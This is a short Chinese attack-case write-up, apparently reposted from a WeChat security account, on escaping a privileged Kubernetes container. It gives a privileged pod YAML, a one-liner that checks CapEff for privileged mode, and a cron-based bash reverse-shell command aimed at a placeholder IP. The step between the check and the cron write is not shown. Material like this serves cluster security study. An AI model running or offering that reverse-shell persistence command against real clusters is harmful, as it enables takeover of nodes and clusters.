01、概述
特权容器(Privileged Container)是一种比较特殊的容器,在K8s中运行特权容器,需要将 Privileged 设为 true ,容器可以执行几乎所有可以直接在主机上执行的操作。
基于此,利用容器的特权配置可以获取容器所在节点的权限,甚至从节点权限提升至集群管理员权限。
02、攻击场景
yaml文件内容:
apiVersion: v1
kind: Pod
metadata:
name: pod1
spec:
containers:
image: nginx
name: pod1
command: ['/bin/sh','-c','sleep 24h']
securityContext:
privileged: true
02、攻击过程
(1) 判断是否特权模式
在容器中可以使用命令检测当前容器是否以特权容器启动,CapEff对应的掩码值在centos中为 0000001fffffffff ,在ubuntu中为0000003fffffffff。
基于以上,可以简单的通过一行命令,如果返回的是Yes说明当前是特权模式,如果返回No则不是。
cat /proc/self/status |grep -qi "0000001fffffffff" && echo "Yes" || echo "No"
echo '* * * * * bash -i >& /dev/tcp/xx.xx.xx.xx/12345 0>&1' >> /var/spool/cron/root
原文始发于微信公众号(Bypass):K8s攻击案例:Privileged特权容器导致节点沦陷